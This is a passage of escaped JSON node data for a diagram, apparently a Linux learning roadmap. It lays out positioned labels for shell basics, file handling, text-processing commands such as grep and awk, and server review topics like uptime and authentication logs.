-682.6381872719935,\n        \"y\": 249.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Command Path\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NIBSZGE9PskVrluJpdom0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228\n      },\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 249.4007482223489\n      }\n    },\n    {\n      \"id\": \"zwXEmpPYjA7_msS43z7I0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 302.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Environment Variables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NIBSZGE9PskVrluJpdom0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228\n      },\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 302.4007482223489\n      }\n    },\n    {\n      \"id\": \"KaMSsQnJzNqGHg0Oia4uy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 355.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Command Help\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NIBSZGE9PskVrluJpdom0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228\n      },\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 355.4007482223489\n      }\n    },\n    {\n      \"id\": \"JgoZzx4BfK7tmosgpZOsf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 408.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Redirects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NIBSZGE9PskVrluJpdom0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228\n      },\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 408.4007482223489\n      }\n    },\n    {\n      \"id\": \"NIBSZGE9PskVrluJpdom0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 461.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Super User\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228\n      },\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 461.4007482223489\n      }\n    },\n    {\n      \"id\": \"RsOTPZPZGTEIt1Lk41bQV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -297.6381872719935,\n        \"y\": 631.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Working with Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -297.6381872719935,\n        \"y\": 631.400748222349\n      }\n    },\n    {\n      \"id\": \"TnrT-cqMA8urew9nLv0Ns\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 553.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"File Permissions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KaXHG_EKxI5PUXmcvlJt6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 260\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 553.7051467174066\n      }\n    },\n    {\n      \"id\": \"iD073xTmpzvQFfXwcwXcY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 606.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Archiving and Compressing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KaXHG_EKxI5PUXmcvlJt6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 260\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 606.7051467174066\n      }\n    },\n    {\n      \"id\": \"abKO6KuuIfl9ruVxBw6t_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 659.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Copying and Renaming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KaXHG_EKxI5PUXmcvlJt6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 260\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 659.7051467174066\n      }\n    },\n    {\n      \"id\": \"KaXHG_EKxI5PUXmcvlJt6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -682.6381872719935,\n        \"y\": 712.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Soft Links / Hard Links\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 260\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.6381872719935,\n        \"y\": 712.7051467174066\n      }\n    },\n    {\n      \"id\": \"-B2Dvz7160Er0OBHzS6ro\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 110.8618127280065,\n        \"y\": 631.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Text Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 110.8618127280065,\n        \"y\": 631.400748222349\n      }\n    },\n    {\n      \"id\": \"t3fxSgCgtxuMtHjclPHA6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 77.99419451849974,\n        \"y\": 291.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"stdout / stdin / stderr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 77.99419451849974,\n        \"y\": 291.4007482223489\n      }\n    },\n    {\n      \"id\": \"Z5Mf_e5G24IkmxEHgYBe2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 306.99419451849974,\n        \"y\": 291.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"cut\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6xdkFk_GT93MigeTSSGCp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 69,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 306.99419451849974,\n        \"y\": 291.4007482223489\n      }\n    },\n    {\n      \"id\": \"5658kdqJw-pIOyyhll80a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.8618127280065,\n        \"y\": 344.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"paste\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v32PJl4fzIFTOirOm6G44\"\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 76.8618127280065,\n        \"y\": 344.4007482223489\n      }\n    },\n    {\n      \"id\": \"1WRIy3xHtQfiQFZrprobP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.8618127280065,\n        \"y\": 344.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O9Vci_WpUY-79AkA4HDx3\"\n      },\n      \"zIndex\": 999,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 75,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 75,\n      \"positionAbsolute\": {\n        \"x\": 148.8618127280065,\n        \"y\": 344.4007482223489\n      }\n    },\n    {\n      \"id\": \"6xdkFk_GT93MigeTSSGCp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 289.8618127280065,\n        \"y\": 344.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"head\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 84,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 84,\n      \"positionAbsolute\": {\n        \"x\": 289.8618127280065,\n        \"y\": 344.4007482223489\n      }\n    },\n    {\n      \"id\": \"O9Vci_WpUY-79AkA4HDx3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 228.3618127280065,\n        \"y\": 344.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"tr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6xdkFk_GT93MigeTSSGCp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 56,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 55,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 228.3618127280065,\n        \"y\": 344.4007482223489\n      }\n    },\n    {\n      \"id\": \"Yyk28H6TiteZEGv6Aps1h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.8618127280065,\n        \"y\": 397.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"tail\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TZuDVFS7DZFBgaSYYXoGe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 67,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 76.8618127280065,\n        \"y\": 397.4007482223489\n      }\n    },\n    {\n      \"id\": \"vfcCS1GoyKpU1rQaE8I5r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.8618127280065,\n        \"y\": 397.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"join\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v32PJl4fzIFTOirOm6G44\"\n      },\n      \"zIndex\": 999,\n      \"width\": 72,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 148.8618127280065,\n        \"y\": 397.4007482223489\n      }\n    },\n    {\n      \"id\": \"Pl9s2ti25hsSEljXJvBTj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 221.8618127280065,\n        \"y\": 397.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"split\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v32PJl4fzIFTOirOm6G44\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 221.8618127280065,\n        \"y\": 397.4007482223489\n      }\n    },\n    {\n      \"id\": \"v32PJl4fzIFTOirOm6G44\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 292.8618127280065,\n        \"y\": 397.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"pipe\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6xdkFk_GT93MigeTSSGCp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 292.8618127280065,\n        \"y\": 397.4007482223489\n      }\n    },\n    {\n      \"id\": \"Bo9CdrGJej-QcNmw46k9t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 75.99419451849974,\n        \"y\": 450.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"tee\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QTmECqpRVMjNgQU70uCF8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 70,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 75.99419451849974,\n        \"y\": 450.4007482223489\n      }\n    },\n    {\n      \"id\": \"YSfGrmT795miIeIZrtC3D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.8618127280065,\n        \"y\": 450.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"nl\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TZuDVFS7DZFBgaSYYXoGe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 58,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 148.8618127280065,\n        \"y\": 450.4007482223489\n      }\n    },\n    {\n      \"id\": \"LIGOJwrXexnIcPyHVlhQ8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 221.8618127280065,\n        \"y\": 450.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"wc\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TZuDVFS7DZFBgaSYYXoGe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 221.8618127280065,\n        \"y\": 450.4007482223489\n      }\n    },\n    {\n      \"id\": \"TZuDVFS7DZFBgaSYYXoGe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 292.8618127280065,\n        \"y\": 450.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"expand\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v32PJl4fzIFTOirOm6G44\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 292.8618127280065,\n        \"y\": 450.4007482223489\n      }\n    },\n    {\n      \"id\": \"sKduFaX6xZaUUBdXRMKCL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 75.99419451849974,\n        \"y\": 503.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"unexpand\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QTmECqpRVMjNgQU70uCF8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 75.99419451849974,\n        \"y\": 503.40074822234897\n      }\n    },\n    {\n      \"id\": \"qnBbzphImflQbEbtFub9x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 181.99419451849974,\n        \"y\": 503.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"uniq\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QTmECqpRVMjNgQU70uCF8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 55,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 181.99419451849974,\n        \"y\": 503.40074822234897\n      }\n    },\n    {\n      \"id\": \"umlhxidsvtZG9k40Ca0Ac\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 240.99419451849974,\n        \"y\": 503.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"grep\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QTmECqpRVMjNgQU70uCF8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 65,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 240.99419451849974,\n        \"y\": 503.40074822234897\n      }\n    },\n    {\n      \"id\": \"QTmECqpRVMjNgQU70uCF8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.99419451849974,\n        \"y\": 503.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"awk\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TZuDVFS7DZFBgaSYYXoGe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 74,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 63,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 309.99419451849974,\n        \"y\": 503.40074822234897\n      }\n    },\n    {\n      \"id\": \"jSzfQf0MlnXtWHCc-HYvr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 110.8618127280065,\n        \"y\": 801.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Server Review\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 110.8618127280065,\n        \"y\": 801.7051467174066\n      }\n    },\n    {\n      \"id\": \"19lTWqAvZFT2CDlhLlPSq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 110.8618127280065,\n        \"y\": 906.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Uptime and Load\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tx0nh6cbBjVxwNlyrBNYm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 110.8618127280065,\n        \"y\": 906.2051467174066\n      }\n    },\n    {\n      \"id\": \"WwybfdKuP9ogCGpT7d3NU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 110.8618127280065,\n        \"y\": 959.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authentication Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tx0nh6cbBjVxwNlyrBNYm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 110.8618127280065,\n        \"y\": 959.2051467174066\n      }\n    },\n    {\n      \"id\": \"ewUuI_x-YhOQIYd3MTgJJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 110.8618127280065,\n        \"y\": 1012.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Services Running\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tx0nh6cbBjVxwNlyrBNYm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 110.8618127280065,\n        \"y\": 1012.2051467174066\n      }\n    },\n    {\n      \"id\": \"tx0nh6cbBjVxwNlyrBNYm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 110.8618127280065,\n        \"y\": 1065.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Available Memory / Disk\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 110.8618127280065,\n        \"y\": 1065.2051467174065\n      }\n    },\n    {\n      \"id\": \"J6ptF9of4cYcyLO0iAMao\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 75.99419451849974,\n        \"y\": 558.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": 